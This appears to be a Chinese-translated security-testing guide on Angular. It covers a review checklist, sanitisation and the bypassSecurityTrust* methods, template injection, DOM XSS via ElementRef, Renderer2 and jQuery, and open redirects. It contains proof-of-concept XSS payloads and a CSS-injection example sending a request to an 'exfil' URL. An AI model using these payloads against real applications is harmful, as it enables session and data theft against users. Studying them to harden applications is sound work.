Angular

Reading time: 24 minutes

The Checklist

Checklist from here.

  • Angular被视为客户端框架,不期望提供服务器端保护
  • 项目配置中禁用了脚本的源映射
  • 不可信的用户输入在用于模板之前始终被插值或清理
  • 用户无法控制服务器端或客户端模板
  • 不可信的用户输入在被应用程序信任之前,使用适当的安全上下文进行清理
  • 不使用不可信输入的BypassSecurity*方法
  • 不可信的用户输入不传递给Angular类,如ElementRefRenderer2Document,或其他JQuery/DOM接收器

What is Angular

Angular是一个强大开源的前端框架,由Google维护。它使用TypeScript来增强代码的可读性和调试能力。凭借强大的安全机制,Angular防止常见的客户端漏洞,如XSS开放重定向。它也可以在服务器端使用,因此从两个角度考虑安全性非常重要。

Framework architecture

为了更好地理解Angular的基础知识,让我们了解其基本概念。

常见的Angular项目通常看起来像:

bash
my-workspace/
├── ... #workspace-wide configuration files
├── src
│   ├── app
│   │   ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│   │   ├── app.component.ts #defines the logic for the application's root component
│   │   ├── app.component.html #defines the HTML template associated with the root component
│   │   ├── app.component.css #defines the base CSS stylesheet for the root component
│   │   ├── app.component.spec.ts #defines a unit test for the root component
│   │   └── app-routing.module.ts #provides routing capability for the application
│   ├── lib
│   │   └── src #library-specific configuration files
│   ├── index.html #main HTML page, where the component will be rendered in
│   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

根据文档,每个 Angular 应用程序至少有一个组件,即根组件 (AppComponent),它将组件层次结构与 DOM 连接。每个组件定义一个包含应用程序数据和逻辑的类,并与定义要在目标环境中显示的视图的 HTML 模板相关联。@Component() 装饰器将其下方的类标识为组件,并提供模板和相关的组件特定元数据。AppComponentapp.component.ts 文件中定义。

Angular NgModules 声明一个编译上下文,用于一组专用于应用程序域、工作流或紧密相关功能的组件。每个 Angular 应用程序都有一个根模块,通常命名为 AppModule,它提供启动机制以启动应用程序。一个应用程序通常包含多个功能模块。AppModuleapp.module.ts 文件中定义。

Angular Router NgModule 提供一个服务,让您可以在应用程序的不同状态和视图层次结构之间定义导航路径。RouterModuleapp-routing.module.ts 文件中定义。

对于不与特定视图相关联的数据或逻辑,并且您希望在组件之间共享的,您可以创建一个服务类。服务类定义前面会有 @Injectable() 装饰器。该装饰器提供元数据,允许其他提供者作为依赖项注入到您的类中。依赖注入 (DI) 使您能够保持组件类的精简和高效。它们不会从服务器获取数据、验证用户输入或直接记录到控制台;它们将此类任务委托给服务。

Sourcemap 配置

Angular 框架通过遵循 tsconfig.json 选项将 TypeScript 文件转换为 JavaScript 代码,然后使用 angular.json 配置构建项目。查看 angular.json 文件,我们观察到一个选项可以启用或禁用 sourcemap。根据 Angular 文档,默认配置为脚本启用 sourcemap 文件,并且默认情况下不隐藏:

json
"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

一般来说,sourcemap 文件用于调试目的,因为它们将生成的文件映射到其原始文件。因此,不建议在生产环境中使用它们。如果启用 sourcemaps,它可以提高可读性并通过复制 Angular 项目的原始状态来帮助文件分析。然而,如果它们被禁用,审查者仍然可以通过搜索反安全模式手动分析编译后的 JavaScript 文件。

此外,带有 Angular 项目的编译 JavaScript 文件可以在浏览器开发者工具 → Sources(或 Debugger 和 Sources)→ [id].main.js 中找到。根据启用的选项,该文件末尾可能包含以下行 //# sourceMappingURL=[id].main.js.map,或者如果 hidden 选项设置为 true,则可能不包含。然而,如果 scripts 的 sourcemap 被禁用,测试变得更加复杂,我们无法获取该文件。此外,sourcemap 可以在项目构建期间启用,例如 ng build --source-map

数据绑定

绑定是指组件与其对应视图之间的通信过程。它用于在 Angular 框架中传输数据。数据可以通过多种方式传递,例如通过事件、插值、属性或通过双向绑定机制。此外,数据还可以在相关组件(父子关系)之间以及在两个不相关的组件之间使用服务功能共享。

我们可以按数据流对绑定进行分类:

  • 数据源到视图目标(包括 interpolationpropertiesattributesclassesstyles);可以通过在模板中使用 []{{}} 应用;
  • 视图目标到数据源(包括 events);可以通过在模板中使用 () 应用;
  • 双向;可以通过在模板中使用 [()] 应用。

绑定可以在属性、事件和属性上调用,以及在源指令的任何公共成员上调用:

类型目标示例
属性元素属性、组件属性、指令属性<img [alt]="hero.name" [src]="heroImageUrl">
事件元素事件、组件事件、指令事件<button type="button" (click)="onSave()">保存
双向事件和属性<input [(ngModel)]="name">
属性属性(例外)<button type="button" [attr.aria-label]="help">帮助
类属性<div [class.special]="isSpecial">特殊
样式样式属性<button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Angular 安全模型

Angular 的设计默认对所有数据进行编码或清理,使得在 Angular 项目中发现和利用 XSS 漏洞变得越来越困难。数据处理有两种不同的场景:

  1. 插值或 {{user_input}} - 执行上下文敏感编码并将用户输入解释为文本;
jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}

结果: &lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt; 2. 绑定到属性、属性、类和样式或 [attribute]="user_input" - 根据提供的安全上下文执行清理。

jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>

结果: <div><h1>test</h1></div>

有 6 种类型的 SecurityContext

  • None
  • HTML 在将值解释为 HTML 时使用;
  • STYLE 在将 CSS 绑定到 style 属性时使用;
  • URL 用于 URL 属性,例如 <a href>
  • SCRIPT 用于 JavaScript 代码;
  • RESOURCE_URL 作为加载并作为代码执行的 URL,例如在 <script src> 中。

漏洞

绕过安全信任方法

Angular 引入了一系列方法来绕过其默认的清理过程,并指示某个值可以在特定上下文中安全使用,如以下五个示例所示:

  1. bypassSecurityTrustUrl 用于指示给定值是安全的样式 URL:
jsx
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">点击我</a>

//结果
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">点击我</a>
  1. bypassSecurityTrustResourceUrl 用于指示给定值是安全的资源 URL:
jsx
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//结果
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
  1. bypassSecurityTrustHtml 用于指示给定值是安全的 HTML。请注意,以这种方式将 script 元素插入 DOM 树不会导致它们执行所包含的 JavaScript 代码,因为这些元素是如何添加到 DOM 树中的。
jsx
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//结果
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  1. bypassSecurityTrustScript 用于指示给定值是安全的 JavaScript。然而,我们发现它的行为不可预测,因为我们无法使用此方法在模板中执行 JS 代码。
jsx
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//结果
-
  1. bypassSecurityTrustStyle 用于指示给定值是安全的 CSS。以下示例说明了 CSS 注入:
jsx
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//结果
请求 URL: GET example.com/exfil/a

Angular 提供了一个 sanitize 方法,在将数据显示在视图中之前对其进行清理。此方法使用提供的安全上下文并相应地清理输入。然而,使用特定数据和上下文的正确安全上下文至关重要。例如,在 HTML 内容上应用带有 SecurityContext.URL 的清理器并不能提供对危险 HTML 值的保护。在这种情况下,错误使用安全上下文可能导致 XSS 漏洞。

HTML 注入

当用户输入绑定到以下三个属性中的任何一个时,就会发生此漏洞:innerHTMLouterHTMLiframe srcdoc。虽然绑定到这些属性会按原样解释 HTML,但输入使用 SecurityContext.HTML 进行清理。因此,HTML 注入是可能的,但跨站脚本(XSS)则不是。

使用 innerHTML 的示例:

jsx
//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

模板注入

客户端渲染 (CSR)

Angular 利用模板动态构建页面。该方法涉及将模板表达式用双大括号 ({{}}) 包围,以便 Angular 进行评估。通过这种方式,框架提供了额外的功能。例如,模板 {{1+1}} 将显示为 2。

通常,Angular 会转义可能与模板表达式混淆的用户输入(例如,字符如 `< > ' " `\)。这意味着需要额外的步骤来绕过此限制,例如利用生成 JavaScript 字符串对象的函数,以避免使用黑名单字符。然而,要实现这一点,我们必须考虑 Angular 的上下文、属性和变量。因此,模板注入攻击可能如下所示:

jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})

如上所示:constructor指的是对象constructor属性的作用域,使我们能够调用字符串构造函数并执行任意代码。

服务器端渲染 (SSR)

与在浏览器的DOM中发生的CSR不同,Angular Universal负责模板文件的SSR。这些文件随后被传递给用户。尽管有这种区别,Angular Universal仍然应用与CSR相同的清理机制来增强SSR的安全性。SSR中的模板注入漏洞可以以与CSR相同的方式被发现,因为使用的模板语言是相同的。

当然,在使用第三方模板引擎如Pug和Handlebars时,也有可能引入新的模板注入漏洞。

XSS

DOM接口

如前所述,我们可以使用_Document_接口直接访问DOM。如果用户输入未经过验证,可能会导致跨站脚本(XSS)漏洞。

我们在下面的示例中使用了document.write()document.createElement()方法:

jsx
//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Angular 类

在 Angular 中,有一些类可以用于处理 DOM 元素:ElementRefRenderer2LocationDocument。关于后两个类的详细描述在 Open redirects 部分中给出。前两个类的主要区别在于 Renderer2 API 提供了一个在 DOM 元素和组件代码之间的抽象层,而 ElementRef 仅持有对元素的引用。因此,根据 Angular 文档,ElementRef API 应仅在需要直接访问 DOM 时作为最后的手段使用。

  • ElementRef 包含属性 nativeElement,可用于操作 DOM 元素。然而,不当使用 nativeElement 可能导致 XSS 注入漏洞,如下所示:
tsx
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
  • 尽管 Renderer2 提供的 API 可以安全使用,即使在不支持直接访问本地元素的情况下,它仍然存在一些安全缺陷。使用 Renderer2,可以使用 setAttribute() 方法在 HTML 元素上设置属性,该方法没有 XSS 预防机制。
tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
  • 要设置 DOM 元素的属性,可以使用 Renderer2.setProperty() 方法并触发 XSS 攻击:
tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>

在我们的研究中,我们还检查了其他 Renderer2 方法的行为,例如 setStyle()createComment()setValue(),与 XSS 和 CSS 注入的关系。然而,由于它们的功能限制,我们未能找到这些方法的有效攻击向量。

jQuery

jQuery 是一个快速、小巧且功能丰富的 JavaScript 库,可以在 Angular 项目中用于操作 HTML DOM 对象。然而,众所周知,该库的方法可能被利用以实现 XSS 漏洞。为了讨论一些易受攻击的 jQuery 方法如何在 Angular 项目中被利用,我们添加了这一小节。

  • html() 方法获取匹配元素集合中第一个元素的 HTML 内容,或设置每个匹配元素的 HTML 内容。然而,按设计,任何接受 HTML 字符串的 jQuery 构造函数或方法都可能执行代码。这可能通过注入 <script> 标签或使用执行代码的 HTML 属性来发生,如下例所示。
tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>
  • jQuery.parseHTML() 方法使用本地方法将字符串转换为一组 DOM 节点,然后可以将其插入到文档中。
tsx
jQuery.parseHTML(data [, context ] [, keepScripts ])

如前所述,大多数接受 HTML 字符串的 jQuery API 将运行包含在 HTML 中的脚本。jQuery.parseHTML() 方法不会运行解析 HTML 中的脚本,除非 keepScripts 显式为 true。然而,在大多数环境中,仍然可以间接执行脚本;例如,通过 <img onerror> 属性。

tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>

Open redirects

DOM 接口

根据 W3C 文档,window.locationdocument.location 对象在现代浏览器中被视为别名。这就是为什么它们在某些方法和属性的实现上相似,这可能导致开放重定向和 DOM XSS 与 javascript:// 架构攻击,如下所述。

  • window.location.href(和 document.location.href

获取当前 DOM 位置对象的规范方法是使用 window.location。它也可以用于将浏览器重定向到新页面。因此,控制此对象使我们能够利用开放重定向漏洞。

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>

以下场景的利用过程是相同的。

  • window.location.assign()(和 document.location.assign()

此方法使窗口加载并显示指定 URL 的文档。如果我们控制此方法,它可能是开放重定向攻击的一个入口。

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
  • window.location.replace()(和 document.location.replace()

此方法用提供的 URL 替换当前资源。

assign() 方法的不同之处在于,使用 window.location.replace() 后,当前页面不会保存在会话历史中。然而,当我们控制此方法时,也可以利用开放重定向漏洞。

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
  • window.open()

window.open() 方法接受一个 URL,并将其识别的资源加载到新标签或现有标签中。控制此方法也可能是触发 XSS 或开放重定向漏洞的机会。

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}

Angular 类

  • 根据 Angular 文档,Angular Document 与 DOM 文档相同,这意味着可以使用常见的向量来利用 Angular 中的客户端漏洞。Document.location 属性和方法可能是成功开放重定向攻击的入口,如下例所示:
tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
  • 在研究阶段,我们还审查了 Angular Location 类的开放重定向漏洞,但未发现有效向量。Location 是一个 Angular 服务,应用程序可以用来与浏览器的当前 URL 进行交互。该服务有几个方法来操作给定的 URL - go()replaceState()prepareExternalUrl()。然而,我们无法使用它们进行重定向到外部域。例如:
tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}

结果:http://localhost:4200/http://google.com/about

  • Angular Router 类主要用于在同一域内导航,并不会给应用程序引入任何额外的漏洞:
jsx
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

结果:http://localhost:4200/https:

以下方法也在域的范围内导航:

jsx
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')

参考文献